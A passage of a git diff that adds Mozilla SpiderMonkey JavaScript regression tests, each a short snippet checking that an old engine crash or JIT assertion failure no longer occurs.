+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456494;
+var summary = 'Do not crash with apply and argc > nargs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function k(s)
+ {
+ }
+ function f()
+ {
+ for (i = 0; i < 10; i++)
+ {
+ k.apply(this, arguments);
+ }
+ }
+ f(1);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456540-01.js b/js/src/tests/non262/regress/regress-456540-01.js
new file mode 100644
index 0000000000..ac1c42ea87
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456540-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = ((-1) % "" ); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456540-02.js b/js/src/tests/non262/regress/regress-456540-02.js
new file mode 100644
index 0000000000..41d685ffc1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456540-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { ((-1) % "" ); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-01.js b/js/src/tests/non262/regress/regress-457065-01.js
new file mode 100644
index 0000000000..51965d4bba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = eval;
+ for (var a in this) { }
+ (function() { eval("this; for (let b in [0,1,2]) { }"); })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-02.js b/js/src/tests/non262/regress/regress-457065-02.js
new file mode 100644
index 0000000000..50b6e2f89d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){ eval('this'); (function(){ for(let y in [0,1,2]) 6;})(); })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457065-03.js b/js/src/tests/non262/regress/regress-457065-03.js
new file mode 100644
index 0000000000..4922deb2fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457065-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() {
+ new function (){ for (var x = 0; x < 3; ++x){} };
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457456.js b/js/src/tests/non262/regress/regress-457456.js
new file mode 100644
index 0000000000..a54befc95d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457456.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457456;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-457778.js b/js/src/tests/non262/regress/regress-457778.js
new file mode 100644
index 0000000000..cf7829d85d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-457778.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457778;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-458076.js b/js/src/tests/non262/regress/regress-458076.js
new file mode 100644
index 0000000000..fa70bda9b0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-458076.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458076;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 3; ++j) { true == 0; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-458851.js b/js/src/tests/non262/regress/regress-458851.js
new file mode 100644
index 0000000000..843bb4f2a7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-458851.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458851;
+var summary = 'TM: for-in loops should not skip every other value sometimes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f() {
+ var a = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16];
+ var x = 0;
+ for (var i in a) {
+ i = parseInt(i);
+ x++;
+ }
+ print(actual = x);
+}
+
+expect = 16;
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-459085.js b/js/src/tests/non262/regress/regress-459085.js
new file mode 100644
index 0000000000..627e8d1514
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459085.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459085;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var m = new Number(3);
+ function foo() { for (var i=0; i<20;i++) m.toString(); }
+ foo();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459185.js b/js/src/tests/non262/regress/regress-459185.js
new file mode 100644
index 0000000000..10d2b3e473
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459185.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459185;
+var summary = 'Do not assert: pn->pn_arity == PN_BINARY';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var {a: []} in []) { }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459186.js b/js/src/tests/non262/regress/regress-459186.js
new file mode 100644
index 0000000000..142255c5fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459186.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459186;
+var summary = 'Do not crash in CheckDestructuring';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (var [,{y}] in []) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459389.js b/js/src/tests/non262/regress/regress-459389.js
new file mode 100644
index 0000000000..e63e064a0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459389.js
@@ -0,0 +1,119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459389;
+var summary = 'Do not crash with JIT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+print('mmmm, food!');
+
+
+var SNI = {};
+SNI.MetaData={};
+SNI.MetaData.Parameter=function()
+{
+var parameters={};
+this.addParameter=function(key,value)
+{
+parameters[key]=[];
+parameters[key].push(value);
+};
+this.getParameter=function(key,separator){
+if(!parameters[key])
+{
+return;
+}
+return parameters[key].join(separator);
+};
+this.getKeys=function()
+{
+return parameters;
+};
+};
+SNI.MetaData.Manager=function(){
+var m=new SNI.MetaData.Parameter();
+this.getParameter=m.getParameter;
+};
+var MetaDataManager=SNI.MetaData.Manager;
+SNI.Ads={ };
+SNI.Ads.Url=function(){
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+};
+function Ad() {
+var url=new SNI.Ads.Url();
+this.addParameter=url.addParameter;
+this.getParameter=url.getParameter;
+}
+function DartAd() {
+ return AdUrl.prototype=new Ad();
+}
+function AdUrl() { }
+function AdRestriction() {
+var p=new SNI.MetaData.Parameter();
+this.addParameter=p.addParameter;
+this.getParameter=p.getParameter;
+this.getKeys=p.getKeys;
+}
+function AdRestrictionManager(){
+this.restriction=[];
+this.isActive=isActive;
+this.isMatch=isMatch;
+this.startMatch=startMatch;
+function isActive(ad,mdm){
+var value=false;
+for(var i=0;i<this.restriction.length;i++)
+{
+adRestriction=this.restriction[i];
+value=this.startMatch(ad,mdm,adRestriction);
+}
+}
+function startMatch(ad,mdm,adRestriction){
+for(var key in adRestriction.getKeys()){
+var restrictions=adRestriction.getParameter(key,',');
+var value=mdm.getParameter(key,'');
+match=this.isMatch(value,restrictions);
+if(!match){
+value=ad.getParameter(key,'')
+match=this.isMatch(value,restrictions);
+}
+}
+}
+function isMatch(value,restrictions){
+var match=false;
+if(value)
+{
+splitValue=value.split('');
+for(var x=0;x<splitValue.length;x++){
+for(var a;a<restrictions.length;a++){ }
+}
+}
+return match;
+}
+}
+var adRestrictionManager = new AdRestrictionManager();
+var restrictionLeader6 = new AdRestriction();
+restrictionLeader6.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader6);
+var restrictionLeader7 = new AdRestriction();
+restrictionLeader7.addParameter("", "");
+adRestrictionManager.restriction.push(restrictionLeader7);
+function FoodAd(adtype)
+{
+ ad=new DartAd()
+ ad.addParameter("",adtype)
+ adRestrictionManager.isActive(ad, mdManager)
+}
+var mdManager = new MetaDataManager() ;
+ FoodAd('P')
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-459628.js b/js/src/tests/non262/regress/regress-459628.js
new file mode 100644
index 0000000000..1e0e2e9d6c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459628.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459628;
+var summary = 'Do not assert: STOBJ_GET_SLOT(obj, map->freeslot).isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+(function() {
+ for (var odjoff = 0; odjoff < 4; ++odjoff) {
+ new Date()[0] = 3;
+ }
+})();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-459990.js b/js/src/tests/non262/regress/regress-459990.js
new file mode 100644
index 0000000000..03d3ba257a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-459990.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459990;
+var summary = 'Do not crash with if (true && a && b) { }';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ if (true && a && b) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460024.js b/js/src/tests/non262/regress/regress-460024.js
new file mode 100644
index 0000000000..d8fab7f4e3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460024.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460024;
+var summary = 'Regression from bug 451154';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ actual = 'FAIL';
+
+
+ var js = 'Function.prototype.inherits = function(a) {' +
+ ' actual = "PASS";' +
+ '};' +
+ 'function f() { }' +
+ 'f.inherits();';
+ function doeval(callback) { callback(js) };
+ doeval(eval);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460117.js b/js/src/tests/non262/regress/regress-460117.js
new file mode 100644
index 0000000000..33512e4e8a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460117.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460117;
+var summary = 'TM: hasOwnProperty with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function t(o, proplist) {
+ var props=proplist.split(/\s+/g);
+ for (var i=0, len=props.length; i<len; i++) {
+ if (o.hasOwnProperty(props[i])) {
+ // do something
+ } else {
+ actual += (props[i]+': '+o.hasOwnProperty(props[i]));
+ }
+ }
+ };
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+ reportCompare(expect, actual, summary + ' : nonjit');
+
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+
+ reportCompare(expect, actual, summary + ' : jit');
+}
diff --git a/js/src/tests/non262/regress/regress-460886-01.js b/js/src/tests/non262/regress/regress-460886-01.js
new file mode 100644
index 0000000000..e01a8795c7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460886-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not asssert: end >= begin';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(5); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-460886-02.js b/js/src/tests/non262/regress/regress-460886-02.js
new file mode 100644
index 0000000000..c596e229a4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-460886-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not crash @ js_NewStringCopy';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(-60000); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-461307.js b/js/src/tests/non262/regress/regress-461307.js
new file mode 100644
index 0000000000..06e2b8f3ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-461307.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461307;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(function() { for(/x/[''] in []) { } });
+
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-461723.js b/js/src/tests/non262/regress/regress-461723.js
new file mode 100644
index 0000000000..009441f722
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-461723.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461723;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 30; ++j) { (0 + void 0) && 0; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462071.js b/js/src/tests/non262/regress/regress-462071.js
new file mode 100644
index 0000000000..d1ed6420f7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462071.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462071;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i of [{}, 0, 0, {}, 0, {}, 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462282.js b/js/src/tests/non262/regress/regress-462282.js
new file mode 100644
index 0000000000..e1a8d9ff01
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462282.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462282;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i of [0, 0, 0, "", 0, 0, "", 0, 0, "", 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462292.js b/js/src/tests/non262/regress/regress-462292.js
new file mode 100644
index 0000000000..3d72131a85
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462292.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462292;
+var summary = 'Do not assert: pn->pn_op == JSOP_CALL || pn->pn_op == JSOP_EVAL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ [].apply() = 1;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462388.js b/js/src/tests/non262/regress/regress-462388.js
new file mode 100644
index 0000000000..7dff173a2f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462388.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462388;
+var summary = 'Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var c = 0, v; for (let x of ["",v,v,v]) { for (c=0;c<4;++c) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462407.js b/js/src/tests/non262/regress/regress-462407.js
new file mode 100644
index 0000000000..9de15a25b8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462407.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462407;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function f() { for (let i of [0, {}, 0, 1.5, {}, 0, 1.5, 0, 0]) { }})();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-462879.js b/js/src/tests/non262/regress/regress-462879.js
new file mode 100644
index 0000000000..5b3f85909a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462879.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462879;
+var summary = 'Do not assert: UPVAR_FRAME_SKIP(uva->vector[i]) == 1';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(c){eval("eval('c.x')")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-462989.js b/js/src/tests/non262/regress/regress-462989.js
new file mode 100644
index 0000000000..881f6ee3e0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-462989.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462989;
